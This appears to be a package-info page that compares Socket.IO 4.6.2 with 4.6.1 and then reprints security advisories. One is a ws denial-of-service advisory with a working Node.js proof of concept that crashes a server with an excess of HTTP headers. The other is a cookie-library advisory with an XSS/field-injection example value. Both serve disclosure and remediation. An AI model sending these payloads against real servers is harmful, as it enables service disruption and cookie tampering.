Socket.IO 4.6.2 represents a minor update to the popular Node.js real-time framework, building upon the foundation laid by version 4.6.1. While both versions share the same core functionality and licensing under the MIT license, several subtle yet significant differences warrant attention from developers. One crucial change lies within the dependencies: Socket.IO 4.6.2 upgrades its dependency on engine.io from version 6.4.1 to 6.4.2 and socket.io-parser from 4.2.1 to 4.2.4. These underlying engine updates can often contain bug fixes, performance improvements, and enhanced security measures, making them valuable for ensuring a robust and reliable real-time application. While other dependencies, like debug, accepts, base64id, and socket.io-adapter, remain consistent between the two versions, the engine.io and parser upgrades could introduce subtle behavior changes that developers should be aware of, particularly concerning transport mechanisms and data serialization. In terms of development tools, versions are also slightly different, with an upgrade of the socket.io-client to versions 4.6.2 from 4.6.1 in the latest release. Furthermore, the unpacked size of the package has slightly increased from 1226508 to 1230402, suggesting the inclusion of additional code, assets, or documentation. Given the release date difference of approximately three months, migrating to version 4.6.2 is generally recommended to benefit from these accumulating enhancements and fixes, ensuring optimal performance and security for Socket.IO-powered applications.
All the vulnerabilities related to the version 4.6.2 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.